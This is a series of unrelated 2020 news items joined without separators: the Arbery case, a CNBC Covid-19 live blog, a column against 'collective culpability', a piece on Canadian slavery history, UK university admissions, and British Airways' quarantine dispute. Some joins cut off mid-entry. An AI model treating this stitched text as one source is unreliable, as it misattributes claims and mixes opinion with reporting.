Those burglaries never happened, or at least were never reported, Dial testified. Greg McMichael pursued Arbery based on a gut feeling, he said.

Lead prosecutor Jesse Evans said Arbery was chased, hunted down and ultimately executed at the hands of these men.

He was on a run on a public road in a public subdivision, Evans said. He was defenseless and unarmed.

More:

`Get your knee off our necks!: Floyd mourned in Minneapolis

Central Pa. police officer accused of reenacting George Floyds death at party: report

George Floyd case: Pa. police chiefs condemn officers knee-on-neck method seen in viral video
In this article PEAK

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As the global death toll of Covid-19 surpasses 390,000, the spread of the virus continues to accelerate in parts of Latin America and Eastern Europe, according to the World Health Organization. Daily new confirmed cases are pushing new highs, according to data compiled by Johns Hopkins University, with an all-time high of 130,400 new cases confirmed around the world on Wednesday. Brazil is the second hardest hit country in terms of number of cases, with the third highest deaths in the world, according to data from Johns Hopkins University. Despite that, Reuters reported that President Jair Bolsonaro threatened to pull out of the WHO. In Asia, India's cases surpassed those of Italy, making it the sixth hardest hit country by numbers of case, according to Hopkins data. In the U.S., cases have been on a gradual rise since Memorial Day weekend, a CNBC analysis of Hopkins data shows. The country is nonetheless pushing forward with reopening. Some of the largest Las Vegas casinos reopened on Thursday, and New York City, the epicenter of the U.S. outbreak, is slated to move into its first phase of reopening on Monday. This is CNBC's live blog covering all the latest news on the coronavirus outbreak. This blog will be updated throughout the day as the news breaks. Global cases: More than 6.75 million

Global deaths: At least 393,934

U.S. cases: More than 1.89 million

U.S. deaths: At least 108,996 The data above was compiled by Johns Hopkins University.

India's coronavirus cases surpass those of Italy

An Hindu priest of the Bade Hanuman temple sanitises the wall of Hanuman temple after the government eased restrictions as a preventive measure against the COVID-19 coronavirus, in Allahabad on June 5, 2020. Sanjay Kanojia | AFP | Getty Images

3:28 p.m. Singapore time  India's Ministry of Health reported another 9,887 confirmed cases of coronavirus, taking its total to 236,657. That now makes India the sixth hardest hit country as its cumulative cases top those of Italy, according to Hopkins data. India also reported another 294 deaths, bringing its total to 6,642, according to the health ministry.  Christine Wang

Brazil's Bolsonaro threatens to pull out of WHO

10:26 a.m. Singapore time  Reuters reported that President Jair Bolsonaro threatened to pull Brazil out of the World Health Organization. He told journalists the country would consider leaving the agency, unless it ceases to be a "partisan political organization," Reuters reported. On Thursday, Brazil reported a record number of daily deaths from the disease, taking the country's death toll past that of Italy's. Brazil now has the second highest number of confirmed cases and third highest death toll globally, according to Hopkins data. Health officials have repeatedly that ideally countries would not ease lockdowns until coronavirus transmission rates fall. Bolsonaro has continued to push for lifting restrictions, arguing that the economic damage is greater than the health risks, Reuters reported. An editorial in a local newspaper said, according to Reuters, that it has been about 100 days since Bolsonaro called the virus a "little flu" and now Covid-19 is "killing a Brazilian per minute."  Christine Wang

Investors shrug off rough several months from Boeing and Airbus

Kay Fochtmann / EyeEm

6:40 p.m. ET  In March and April, shares of Boeing and Airbus were at multiyear lows, as orders for planes dried up and losses mounted amid the pandemic. In two of the past four months, Airbus recorded zero orders for new planes, and for May some analysts expect Boeing to post a fifth straight month of no order growth, CNBC's Phil LeBeau reports. The order drought forced both companies to lower production schedules and to plan for thousands of job cuts. The outlook still looks rough for the plane makers, but shares of Boeing and Airbus are both up more than 40% in the last month as air travel is showing signs of recovery. The Transportation Security Administration screened 391,882 people at airport security checkpoints in the U.S., the highest number of screenings since March 22. Chris Eudaily

California to reopen schools, day camps and gyms

A man enters a Shoe City store as Los Angeles County retail businesses reopen while the COVID-19 pandemic continues on May 27, 2020 in Glendale, California. David McNew | Getty Images

5 30 p.m. ET  California is set to lift major restrictions next week, include allowing schools and day camps to reopen statewide. Counties that have met certain health criteria can also reopen bars, gyms, campgrounds and professional sports, according to the Associated Press. Most of the new businesses allowed to reopen are part of the third phase in the state's reopening plan. Hannah Miller

WNBA considering resuming season in late July

4:30 p.m. ET  The Women's National Basketball Association is considering resuming a 22-game season starting July 24, according to a report from ESPN. Players would receive 60% of their normal salaries under the plan, but details have not been released concerning player housing or play-off structure. The report follows the National Basketball Association's approval of a plan that would include resuming the season on July 31 with 22 teams in Florida. Hannah Miller

Jobs report further divides Republicans and Democrats on coronavirus relief

3:49 p.m. ET  A surprisingly strong May jobs report has widened the gulf between Republicans and Democrats on how to proceed with the economic recovery from the coronavirus. After the U.S. gained 2.5 million jobs for the month, President Donald Trump outlined a fairly short list of priorities such as a payroll tax cut and more stimulus checks for Americans. Vice President Mike Pence told CNBC that the White House would be "open" to more relief for state and local governments to cover budget crunches created by the pandemic. Despite the gains, the U.S. unemployment rate fell to 13.3%, a level still higher than at any point after the 2008 financial crisis. House Speaker Nancy Pelosi and Senate Minority Leader Chuck Schumer said not injecting more money into the economy now would jeopardize the progress made in May. They want more aid for states and municipalities, additional direct payments and an extension of the enhanced federal unemployment benefit, among other provisions.Congress likely will not consider another economic rescue package for weeks. Jacob Pramuk

Fauci says whether schools reopen in the fall is 'complicated,' will depend on the region

3:07 p.m. ET  White House health advisor Dr. Anthony Fauci told CNBC that the question of whether to reopen schools in the fall has a "complicated answer" and will depend on the coronavirus' transmission in certain regions of the U.S. "When you're talking about getting back to a degree of normality and school openings and things like that, it's always related to the level of activity of the virus," he said. Fauci, director of the National Institute of Allergy and Infectious Diseases, said new infections will begin to creep up in the fall and winter months. A second wave of infections later this year is preventable, he said, but it's "the efficiency and effectiveness in which we put the manpower, the systems, the tests to identify, isolate and contact trace, that will determine how successful we are in preventing that wave." Fauci also said he has "no doubt" that Americans who aren't wearing face masks, especially in large crowds, are increasing the risk of spreading the coronavirus. His comment came a day after the director of the CDC said he worried Americans aren't following the agency's advice, which includes wearing cloth face coverings in public settings where other social distancing measures are difficult to maintain. Noah Higgins-Dunn, Berkeley Lovelace Jr.

Coronavirus will change how film sets operate, industry experts say

2:55 p.m. ET  Hollywood is eager to get cameras rolling again, but the industry wants to ensure sets are as safe as possible. Until a vaccine is widely distributed, film production is going to need to establish a new normal. Making movies and television has always been a very collaborative endeavor. However, many of the on-set jobs are done in close proximity, and adding a 6 foot social distancing rule could make that work much more difficult. CNBC spoke with four film industry experts to get a sense of how crews could adapt to temporary Covid-19 regulations and how film production as a whole, from script to final edit, could be altered forever. Ultimately, these restrictions could change the types of scripts that are written and optioned and could be a chance for independent projects to flourish. Sarah Whitten

Bentley and Aston Martin cut jobs

2:46 p.m. ET  The coronavirus pandemic is continuing to take its toll on the global automotive industry  from U.S. automakers to famed luxury carmakers such as Bentley and Aston Martin. Volkswagen-owned Bentley said it plans to eliminate up to 1,000 jobs, nearly a quarter of its workforce, through a "voluntary release" program as its business plans have been "clearly derailed by the impact of the pandemic." Bentley's cuts come a day after fellow British automaker Aston Martin said it plans to cut up to 500 jobs, "reflecting lower than originally planned production volumes and improved productivity across the business." It employs about 2,600 people globally. Michael Wayland

New York reports lowest coronavirus deaths in eight weeks

2:29 p.m. ET  The number of fatalities from Covid-19 in New York state was 42 on Thursday, hitting an all-time low since the outbreak began, Gov. Andrew Cuomo said. The state also reported the lowest number of total hospitalizations to date. In late May, the number of lives lost from the virus fell below 100 for the first time since March 24. The daily death toll has been on a steady decline from the height of the state's outbreak in March and early April when close to 800 people were dying every day, according to state data. Cuomo said New York was able to make significant progress because of its residents, who "changed their fundamental behaviors" and followed social distancing guidelines. "Eight weeks ago we had 800. Eight weeks. 800 people dying to 42 people dying in eight weeks. Amazing. 'How did you do that?' I did nothing," he said. Jasmine Kim

WHO updates guidance on face masks

People wearing masks and gloves wait to checkout at Walmart on April 03, 2020 in Uniondale, New York. Al Bello | Getty Images

2:05 p.m. ET  The World Health Organization said it recommends that governments ask everyone to wear fabric face masks in public in hopes of reducing the spread of Covid-19, updated guidance released by the organization states, according to Reuters. Maria Van Kerkhove, the WHO technical lead expert on Covid-19, told Reuters the organization is specifically recommending a fabric face mask because it is a non-medical mask. The WHO has previously said there was not enough evidence in support or against the use of face masks, though the organization has always recommended them for someone who is sick or who is caring for that person, according to Reuters. The WHO continues to recommend that all health-care workers dealing with patients who have been diagnosed with or are suspected of having Covid-19 should wear medical masks, Reuters reported. The WHO now recommends, however, that any staff member in contact with patients or residents in clinics, hospitals, care homes or long-term facilities should also wear masks at all times. Alex Harring

Jobs report points to possible V-shaped recovery

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1:40 p.m. ET  The record gain in jobs last month is the latest data point that suggests a sharp recovery for the U.S. economy from the pandemic-induced recession. Unemployment is still above 13%, but payrolls, along with travel demand and oil prices, have made big gains in recent weeks. Jesse Pound

Reopened states doing 'tremendous business,' Trump says, but cases rise in some

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1:26 p.m. ET  States that were among the earliest to reopen nonessential businesses and lift restrictions on households are doing "tremendous business," President Donald Trump said, though daily new cases in some of those states are gradually rising. Trump cited Florida, Georgia and South Carolina specifically, all of which had some of the earliest and most ambitious reopening plans. Some epidemiologists criticized plans in states like Florida and Georgia to reopen businesses even as the daily rate of coronavirus infection continued to climb, defying federal guidance. Some reopened states, including Florida, have seen cases begin to rise. On Thursday, Florida reported 1,419 new coronavirus cases, its biggest single-day increase since Florida's Department of Health began publishing data on the outbreak. "Look at what's going on in Florida, it's incredible," Trump said at a news briefing to discuss better-than-expected jobs numbers. "If you look at so many different places that have opened up ... the ones that are most energetic about opening they are doing tremendous business and this is what these numbers are all about." Will Feuer

UK halts large-scale hydroxychloroquine trial

1:00 p.m. ET  Scientists in the U.K. stopped a large trial of hydroxychloroquine after initial results showed no evidence of the anti-malaria drug's benefit in treating Covid-19. Martin Landray, an Oxford University professor who is co-leading the trial, said patients will stop being enrolled in the trial immediately as it is "not a treatment" for Covid-19. "We reviewed the data and concluded there is no evidence of a beneficial effect of hydroxychloroquine in patients hospitalized with Covid, and decided to stop enrolling patients to the hydroxychloroquine arm with immediate effect," Landray said. The decision comes one day after The Lancet retracted an influential study that raised alarms about the safety of chloroquine and hydroxychloroquine, which have been considered experimental Covid-19 treatments. The authors of the study requested the retraction as the data underlying the paper, which they were not directly involved in the collection of, was placed under scrutiny. Alex Harring

NYC reports first day with no confirmed Covid-19 deaths since March

A medical worker wears a protective mask as he rides on a Citi Bike outside the Mount Sinai Hospital entrance in Manhattan during the the COVID-19 shutdown on April 26, 2020 in New York City. Roy Rochlin | Getty Images

12:31 p.m. ET  Wednesday marked the first day of no confirmed coronavirus deaths in New York City since March, according to the New York City Department of Health and Mental Hygiene. The city's first confirmed death from coronavirus came on March 11, with deaths peaking April 7 at a high of 590, according to the city's data. Confirmed deaths have declined since then, falling below 100 on May 9, CNBC's Will Feuer reports. The number of confirmed Covid-19 deaths account for patients who tested positive for the virus. There were three "probable" coronavirus deaths on Wednesday, meaning the individuals had symptoms of the virus but had not yet been tested, the city reported. In New York City alone, more than 202,319 people have been infected by Covid-19, and the city has reported 16,992 confirmed deaths. New York City is set to enter phase one of reopening Monday, Gov. Andrew Cuomo said. To meet the state's reopening criteria, the city still needs to increase its share of hospital beds available and expand its number of contract tracers deployed. Suzanne Blake

U.S. already produced 2 million vaccine doses, Trump says

11:37 a.m. ET  The U.S. produced 2 million coronavirus vaccine doses that are "ready to go" once scientists figure out whether it is safe and effective, President Donald Trump announced from the White House. The Trump administration has selected five companies as the most likely candidates to produce a vaccine for the coronavirus, according to the New York Times. Trump didn't say Friday which ones have started vaccine production. The U.S. government has been working with biotech firm Moderna on a potential vaccine. The company expects to begin a late-stage trial in July. Berkeley Lovelace, Jr.

Dow rallies more than 700 points after record surge in U.S. jobs

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Apple is reportedly giving coronavirus tests to staff as they return to the office

Close-up of blue logo on sign with facade of headquarters buildings in background near the headquarters of Apple Computers in the Silicon Valley, Cupertino, California, August 26, 2018. Smith Collection/Gado/Getty Images

9:32 a.m. ET  Apple is offering employees Covid-19 nasal swab tests as they return to work, according to a Bloomberg report which cited people familiar with the process. Employees will also have their temperature taken and they'll be required to wear masks around the office, the report stated. Apple reportedly intends to keep many of its break-room kitchens closed and it will limit the number of people gathering in confined spaces like elevators. Apple is one of the first big tech firms to start bringing employees back to the office and the company's approach contrasts with other Silicon Valley firms like Google, Facebook and Twitter. Sam Shead

Blood pressure drugs linked to lower Covid-19 mortality, study shows

9:21 a.m. ET  A new study revealed that widely used drugs to control high blood pressure may help protect against severe Covid-19. Overall, coronavirus patients with high blood pressure have an increased risk of death and a higher likelihood of needing mechanical ventilation, researchers in the European Heart Journal reported. The study found patients taking any type of blood pressure drug had a lower risk of death from the virus than those who were not taking any medicine for hypertension. The evidence so far is from observational studies rather than randomized trials. "We were quite surprised that these results did not support our initial hypothesis; in fact, the results were in the opposite direction, with a trend in favor of ACE inhibitors and ARBs," said coauthor Fei Li of Xijing Hospital in Xi'an, China. Suzanne Blake

May unemployment rate comes in at 13.3%, better than the 19.5% expected

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8:45 a.m. ET  The jobless rate declined to 13.3%, according to data from the Labor Department, far better than economists were expecting and indicated that an economic turnaround could be close at hand. Employment stunningly rose by 2.5 million in May, by far the biggest one-month jobs gain in U.S. history since at least 1939. Economists surveyed by Dow Jones had been expecting payrolls to drop by 8.333 million and the unemployment rate to rise to 19.5% from April's 14.7%. Read a full report on the U.S. jobless rate from CNBC's Jeff Cox. Melodie Warner

Spain set to relax lockdown measures in Madrid and Barcelona Monday

8:10 a.m. ET  Spain's Health Minister Salvador Illa told a news conference that lockdown measures in the cities of Madrid and Barcelona will be scaled back starting next week. People will be allowed to eat and drink inside bars and restaurants starting Monday, with children able to play outside at any time of day. Currently customers of bars and restaurants in the two major cities are only able to eat and drink on outdoor terraces, and children's playtime is restricted to dedicated slots. More than 240,000 people in Spain have contracted the coronavirus, with 27,133 dying of Covid-19 so far, according to data compiled by Johns Hopkins University. Spain has recorded the fifth-highest number of confirmed Covid-19 cases worldwide, behind the U.S., Brazil, Russia and the U.K.  Sam Meredith

Will likely take weeks to observe rise in cases from protests, former FDA chief says

7:30 a.m. ET  There is "no question" that the coronavirus will spread among the George Floyd protesters filling the streets in cities across the U.S., but it will take a number of weeks to detect an uptick in cases, former Food and Drug Administration Commissioner Dr. Scott Gottlieb said. "It's still a little early to see the impact. You probably want to wait two weeks and a couple replication cycles, or maybe three replications cycles, before you see it," he said in an interview with CNBC's "Squawk Box." "It's a younger crowd, more likely to have asymptomatic illness, so if it starts chains of transmission it's going to take time for those chains to grow into the kinds of numbers where you could detect it." The U.S. is already beginning to see an uptick since about Memorial Day weekend, when some states eased restrictions on businesses and outdoor areas like beaches. Some states still have an "expanding epidemic," Gottlieb said, adding that we'll have to wait and see what the impact of the protests will be. "There will be cases coming out of it. There's no question about it," he said. "Whether or not we see an epidemic in these states, that's harder to tell." Will Feuer Disclosure: Scott Gottlieb is a CNBC contributor and is a member of the boards of Pfizer and biotech company Illumina.

WHO sees 'upticks' in countries around the world

Gravediggers carry the coffin of Avelino Fernandes Filho, 74, during his funeral who passed away from the coronavirus disease (COVID-19), in Rio de Janeiro, Brazil, May 18, 2020. Ricardo Moraes | Reuters
During my lifetime, the national conversation about race has gradually moved from culpability for individual behavior to culpability for ideology to collective culpability without regard to behavior or ideology.

This transition is significant. It is deliberate. And it is dangerous.

Focusing on discrimination, as our laws have done for decades, places the emphasis on conduct, which can be clearly identified and prohibited. Individuals (or groups) who engage in that prohibited conduct can be penalized.

Punishing an attitude of racism, however, is more problematic. It is one thing to condemn it. But how do you penalize or sanction it, apart from the conduct that reflects it?

Contemporary race theorists and activists have chosen to expand their definitions even further to encompass what they now call systemic racism and white privilege. These newer, broader definitions of the reprehensible sweep much wider swaths of people into the racism net, no matter how beneficent and inclusive their personal attitudes and actions may be.

According to these theories, one is culpable simply for having benefited from a system in which blacks and other minorities were  and are  discriminated against. Race is not only a social construct; it becomes a matter of economic identity, rather than ethnic identity. Even nonwhites who have succeeded in this system become white by virtue of that success. Conversely, whites who have endured poverty, discrimination, broken homes, substance abuse or countless other factors beyond their control that have impeded their own upward mobility are told that those struggles are irrelevant to their privilege.

It is one thing to acknowledge that blacks have suffered grievous discrimination and that the consequences of that continue to this day. Those are the ugly facts. Similarly, when white Americans  or anyone who has not personally endured bias and discrimination  vow to do everything in their power to make their community and our country a better place, that is individual agency, not collective guilt.

But some of the current calls for honest conversations entail members of the privileged classes admitting to collective culpability. This is cast as a precursor to healing, and many well-intentioned people are more than willing to do it. I have read tweets and emails, and watched videos in which white Americans kneel, bow their heads in supplication, beg for forgiveness for the wrongs committed by other people or refer to themselves as recovering racists simply because they are white.

This is insulting, offensive and dangerous.

First, it runs completely counter to one of the most fundamental tenets of the American legal tradition: We do not punish people for the crimes or wrongdoing of others.

Second, there is no natural place where one can logically stop with the collective culpability racket. If I as a white American of multiple European ethnicities have benefited from the political and economic systems in the United States, one could just as plausibly argue that I benefited from the Irish Potato Famine, the Inquisition, the Thirty Years War, the bubonic plague, the sacking of the library at Alexandria and every other historical event that somehow made it possible for me to be who, what and where I am at this moment. I am no more responsible for the abhorrent acts committed during the era of slavery, or the Jim Crow laws, or the brutality of corrupt police officers than I am for those atrocities.

Third, there is plenty of modern precedent to show us what happens when a country incorporates a system of collective culpability purportedly to remediate oppression. The Reign of Terror during the French Revolution sent tens of thousands of innocent people to the guillotine. Tens of millions were killed during Russias and Chinas revolutionary upheavals of the 20th century, condemned as bourgeois or running-dog capitalists. Even in tiny Cambodia, nearly 3 million people  a fifth of the population  were murdered by the communist Khmer Rouge regime, which condemned anyone who was educated as an enemy of the poor.

Fourth, a system that blames classes of people for things they have not individually done also exonerates classes of people for things they have individually done. We need look no further back than the events of the past few days, as mobs of violent individuals have used justifiable outrage and lawful protests as a cover for vandalism, arson, looting, theft, destruction, brutal assault and even murder. And yet there are voices in our national conversations that would excuse this behavior as an understandable response by the oppressed in a system that is rigged against them.

Such a system will not long endure; it will collapse on itself.

As we watch our cities burn, we cannot fool ourselves by thinking that what happened in France in the 1790s, in Russia in the 1930s, in China in the 1960s and in Cambodia in the 1970s cannot happen here. We owe it to ourselves and our children to make sure that it doesnt happen here.

We can punish police brutality without smearing all police officers. We can acknowledge destructive policies and practices of the past and present; work together to eliminate them; and improve conditions for those who have been most negatively affected. But a move from individual responsibility to collective culpability will destroy our nation.

History has proven  amply  that a political system founded upon class resentment, blame, hatred and violence destroys everything and helps no one.

Laura Hollis is an attorney and educator. She resides in Indiana with her husband and children.

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Ever wonder why Canadas Black struggle has played second fiddle to that of the U.S.?

When discussions about slavery or systemic racism arise, many Canadians, by default, connect their understanding of that sordid legacy to the American experience.

Two prominent Canadian Black historians say thats not by accident, but part of an orchestrated coverup and institutional denial by the country that slavery and systemic racism existed by minimizing the Canadian experience and leaving it to be drowned out by a flood of American narratives in media and literature.

Canadians have been able to write a history of Canada that has rendered Black people very absent, said Rinaldo Walcott, a black studies professor at the University of Toronto. Canada has been skilled at suppressing its own relationship with the enslavement of Black people. They seem to even forget that Canada was a part of the British Empire and therefore would mean that Canada participated in slavery.

Walcott says the gatekeepers of Canadian media and history have long downplayed the Black experience.

Its not as attractive to reproduce, says Walcott, because the people who hold the power to decide whats attractive to make are also people who dont understand and are not willing to learn about the facts of slavery of Black lives in Canada for 200 years.

The Canadian story is further discounted because the goliath to the south of us eats up all of that space.

Afua Cooper, a professor at Dalhousie University, says Canadas legacy of atrocities against Blacks is deliberately buried and not allowed the same limelight as Americas history which is proliferated online and through popular media.

Theyre saying, if we create the story that we do not have a Black historical presence in this country, then there is no slavery and no colonization, she says. They covered it up.

Cooper says that skewing of the facts has left Canadian media and people looking to the south for answers about the legacy of a story that we have had in our own backyard.

A big part of it is caused by white guilt, she said. They know how it robbed Black people of their lives.

She said stories of Canadian trail-blazing entrepreneur and civil rights activist Viola Desmond (now on the Canadian $10 bill after a long struggle to have her recognized) has been historically overshadowed by similar American civil rights stalwarts such as Rosa Parks.

When the civil rights movement was happening in the United States, very few people knew that Desmond was thrown out of a (Nova Scotia) cinema 10 years before and that she had to take it to court, she said. Some of it never made it into international news, because there is a good Canadian cover up.

Afua, Halifaxs poet laureate, has worked tireless to resurrect some of that hidden history through her many books, poetry and civil rights work. In 2018 Cooper unearthed the problematic past of Dalhousie Universitys founder, Lord Dalhousie, who had ties to slavery and racism.

She said the dark side of that history was tucked away, when Canada reinvented itself as a confederation in 1867.

What they did was reinvented Canada as a white mans country and Blacks were legally banned from entering Canada, she said.

Its worth mentioning that America has more Black people than Canadas total population. Slavery in the United States lasted longer and was more widespread.

Slavery up here wasnt as long or as intense as the United States, said columnist and radio show host Royson James. So, youre not going to have that volume of stories. And, we dont have Hollywood.

Walcott said the Canadian story has been left to appear almost alien, like enslavement didnt happen here.

It is definitely under-represented in every institutional venue in this country, he said. When it does rise to the top, its singled-out as special, an aberration, but not as a part of what actually is the foundation of what Canada is.

He said the Canadian story has been overshadowed by that of the U.S, which produces much of the media we consume, leaving most channels Canadians tune into, like Netflix, flooded with American content.

At the same time, there are places In Canada where we can go and see the history of ongoing racial segregation, Walcott, said. Go to North Preston, Halifax, and the evidence is right there in our faces.

He said there is an undeniable interconnectedness of Canadas Black story to that of the U.S and other places like the Caribbean.

We have to never forget that Black people were enslaved in New France (now Quebec), they were enslaved in Upper Canada (now Ontario), he said. A lot of the commodities produced in the Caribbean were shipped to the east coast of Canada, but also that the east coast of Canada was a place where slave ships were also built.

In unpacking Canadas fragmented and troubled acknowledgment of its own history of slavery and injustices against Blacks, Walcott pointed to the United Nations declaring 2015-2024 to be the International Decade for People of African Descent, calling for a global recognition, justice, and development for people of African descent.

The Liberal government recognized, province of Ontario and Toronto recognized it, but across this country, many others have been silent on it, he said. Theyre in denial of slavery in this place.

Walcott, 55, says its all starting to feel like a treadmill, where racial eruptions like what were seeing today results in tiny little investments in Black communities before things wane. That calls for a serious reckoning.

Walcott says ignorance was on full display recently when the premiers of Quebec and Ontario made comments downplaying the degree of systematic racism and discrimination in Canada.

Premier Francois Legault can say that even though there is a place in Quebec called N- - - - r Rock which is a slave cemetery, Walcott said. For 150 years, they have perpetuated that Canada was different, through school books and public discourse. Thats why they can say theres no systemic racism.

What is profound to us, is the way this understanding of Canada is so deeply hidden and buried, Walcott says. What has really triumphed is this notion of the multicultural Canada.

Alongside that comes the idea that Black people are recent here, Walcott said. When you do that, you can forget that Africville, Nova Scotia, existed, you can forget that Grey County, Ontario and all these other places that have had long continuous Black communities existed.

Then, therefore, you dont have to account for us, Walcott said. Canada as a nation has been able to convince both Canadians and people across the Globe that Canada is fundamentally different from the United States, and that Canada is a benevolent place and that the political and social issues associated with Black people in the U.S., simply do not exist here.

Here are some resources that may help, especially non-Black people, increase their knowledge and feel empowered to be part of the collective effort to fight anti-Black racism:

Documentaries

The Little Black School House

Speak It! From The Heart of Black Nova Scotia

Speakers for the Dead

Journey to Justice

Sisters in the Struggle

It Takes A Riot: Race, Rebellion, Reform

Books and Documents

Membering Austin Clarke

The Hanging of Angelique: The Untold Story of Canadian Slavery and the Burning of Old Montreal Afua Cooper

Moving Beyond Borders: A History of Black Canadian and Caribbean Women in the Diaspora Karen Flynn

Bromley, tireless fighter for just causes: Memoirs of Bromley L. Armstrong Bromley Armstrong

Burnley Rocky Jones Revolutionary James Walker and Burnley Rocky Jones

Being Brown Rosemary Brown

Bread Out of Stone: Recollections, Sex, Recognitions, Race, Dreaming, Politics Dionne Brand

Silenced Makeda Silvera

A Place Called Heaven Cecil Foster

After Canaan: Essays on Race, Writing and Region Wayde Compton

The Black Prairie Archives: An Anthology Karina Vernon

Race on Trial: Black Defendants in Ontarios Criminal Courts 1858-1958 Barrington Walker

Fear of a Black Nation: Race, Sex, and Security in Sixties Montreal David Austin

Displacing Blackness: Planning, Power, and Race in Twentieth-Century Halifax Ted Rutland

Policing Black Lives  State Violence in Canada from Slavery to the Present Robin Maynard

Childrens books

Meet Viola Desmond Elizabeth MacLeod and Mike Deas

The ABCs of Viola Desmond Delmore Buddy Daye

They Call Me George: The Untold Story of Black Train Porters and the Birth of Modern Canada Cecil Foster

Canadian historical sites and museums

Buxton National Historic Site and Museum Chatham-Kent

Black Cultural Centre for Nova Scotia

The Black Loyalist Heritage Centre Nova Scotia

The Amherstburg Freedom Museum Ontario

Africville Heritage Museum Nova Scotia

Correction - Dec. 21, 2020: This article was edited from a previous version that misstated the title of Barrington Walker's book Race on Trial.

Jason Miller is a breaking news reporter for the Star and is based in Toronto. Reach him on email: is a breaking news reporter for the Star and is based in Toronto. Reach him on email: jasonmiller@thestar.ca or follow him on Twitter: @millermotionpic
The country's top universities could lower their offers in a bid to fill places as they anticipate of a spike of deferrals this autumn.

Vice-Chancellors have expressed concern that virtual freshers' weeks and online lectures because of the coronavirus pandemic will put students off starting university this year.

Russell Group universities are hoping to fill the gaps left by lowering the bar on entry requirements, The Daily Telegraph reported.

Nick Hillman, director of the Higher Education Policy Institute, said: 'There is a smaller number of 18-year-olds this year so it was always going to be a buyers' market.

'If I were a young person this year getting my A-level results and I didn't quite get what I needed for a top university, I would be on the phone to them immediately to say 'Will you give me a place anyway?' and they probably will.'

University leaders have expressed concern that the prospect of virtual lectures will deter students from starting this autumn (file photo)

University leaders are coming up with new ways to bolster numbers, especially because the anticipated fall in international student numbers, who pay higher fees than UK students, could leave institutions struggling to plug shortfalls.

One leading Vice-Chancellor told The Daily Telegraph. 'At the top of the sector, universities have a lot of applicants per place, so you and I might defer our places but another two will accept theirs.

'Before they may not have got the grades and not got in, then gone to a university in the next tier. It is like the knock on effect.

'The institutions that require the highest grades will fill their places. If we do not fill all our places with AAA students, we may need to go to AAB.'

Last month the government announced it would bring back a cap on student numbers amid concerns the best universities would hoover up students.

Gavin Williamson, the education secretary, said: 'I want to avoid at all costs an unseemly scramble for the domestic students who are looking to take up places in September.

'We must ensure that courses and providers aren't oversubscribed, as this could result in there being standing room only in some lecture halls and tumbleweed in others.'

Cambridge University (above) announced it would move all lectures online until 2021

Mr Hillman described the cap as 'very lax', and says it 'does allow quite a lot of room for manoeuvre', The Daily Telegraph reported.

'The situation will still be used to the advantage of the top universities and will come at the expense of the less prestigious universities,' he added.

The Office for Students is drawing up new rules to ban universities from using entry criteria that is 'not consistent with the normal academic requirements of the course'.

A spokesman said: 'We are currently consulting on a new condition of registration. Universities will want to consider carefully whether significant changes in recruitment practice could constitute activities that undermine the stability and integrity of the English higher education sector'.

In May Cambridge University announced all lectures over the next academic year would be moved online - the first institution in the country to make such a pledge.

A statement issued at the time said: 'The university is constantly adapting to changing advice as it emerges during this pandemic.

'Given that it is likely that social distancing will continue to be required, the university has decided there will be no face-to-face lectures during the next academic year.

'Lectures will continue to be made available online and it may be possible to host smaller teaching groups in person, as long as this conforms to social distancing requirements.

'This decision has been taken now to facilitate planning, but as ever, will be reviewed should there be changes to official advice on coronavirus.'
The boss of British Airways may launch a legal challenge against the government's 'irrational' 14-day quarantine.

Chief Executive of IAG Willie Walsh said there had been no consultation with the industry prior to the rule change and he was reviewing possible action with lawyers.

It comes after BA boycotted a meeting between the Home Secretary and the travel industry to discuss the plan.

It is understood the Home Office received no reply from the firm after inviting it to the meeting, which was attended by several other airlines yesterday.

The new rule means from June 8 people flying into the UK need to isolate for 14 days, deterring people from booking holidays in another setback for the travel industry.

Chief Executive of IAG Willie Walsh (pictured today) said there had been no consultation with the industry prior to the rule change and he was reviewing possible action with lawyers

It is understood the Home Office received no reply from British Airways (BA) after being invited to the meeting, which was attended by several of its airline competitors, including Virgin Atlantic, easyJet and Jet2 yesterday (pictured, Home Secretary Priti Patel)

Mr Walsh told Sky News: 'I wrote to MPs last night to say this initiative has in effect torpedoed our opportunity to get flying in July.

'We think it is irrational, we think it is disproportionate and we are giving consideration to a legal challenge to this legislation.' He said he expected other airlines to follow suit.

Twenty-four representatives from the aviation, maritime and international rail industries were at the meeting with the Home Office and transport minister Kelly Tolhurst.

But BA's chief executive Alex Cruz declined to join the call which Home Secretary Priti Patel also attended.

BA chief executive Alex Cruz declined to join the call with Home Secretary Priti Patel

Poll shows a THIRD of public think Priti Patel's 14-day quarantine on UK arrivals should be even tougher A third of Britons want the government's 14-day quarantine to be even tougher, a poll found today - despite scientists dismissing the plan as pointless. Research for MailOnline found overwhelming support for the restrictions on UK arrivals announced by Priti Patel yesterday. But the exclusive poll by Redfield & Wilton Strategies found 42 per cent are satisfied with the move, and 35 per cent believe it does not go far enough. Advertisement

Sources claimed the airline believes the new plans are 'unworkable' and damaging for the economy, making the meeting a 'waste of time', the Telegraph reports.

A Whitehall source said it was a 'shame' one of the UK's largest airlines turned down the opportunity for 'face time' with a Cabinet minister and to work with Government.

A spokesman for the airline confirmed neither BA nor its owner International Airlines Group (IAG) were at the meeting.

Ministers continue to face pressure over the planned blanket 14-day quarantine for travellers to the UK due to come into force from June 8.

But a MailOnline poll found a third of Britons want the government's quarantine to be even tougher - despite scientists dismissing the plan as pointless.

And Culture Secretary Oliver Dowden today urged Britons to take a 'staycation' at home, rather than abroad.

PM Boris Johnson is already looking to water down the controversial plan by using 'air bridges'.

But his plan could fail because all but two of the 15 countries most popular with British tourists has a lower coronavirus infection rate.

Countries including Spain and Germany warned the UK its citizens will not be able to visit as tourists until the number of Covid-19 cases and deaths drop considerably.

And only Portugal, which has a slightly higher coronavirus infection rate than Great Britain and Northern Ireland, said it is willing to agree an 'air bridge'.

Only Italy is taking British tourists with Portugal expected to follow suit imminently - but foreign holidays elsewhere are currently unlikely, especially short term

The US has the highest infection rate but is not currently accepting any tourists from Europe at all.

France, Germany, Greece and Spain will place restrictions on UK visitors entering their countries as they reopen from lockdowns unless the UK scraps the quarantine plan or its coronavirus infection rates decrease, the Telegraph reported.

Meanwhile, the European Commission is calling on EU member states to lift all border checks within the bloc by the end of June, Home Affairs Commissioner Ylva Johansson told Euronews.

French tourism minister Jean-Baptiste Lemoyne said his country would impose a 14-day quarantine on UK visitors if Britain proceeds with its quarantine plan on Monday.

But he added that France plans to open its borders to other EU nations as early as June 15.

Germany's foreign minister Heiko Maas said he would be 'strongly advising' against travel to Britain due to its quarantine - just as his country lifts its travel restrictions for 30 other European nationalities from June 15.

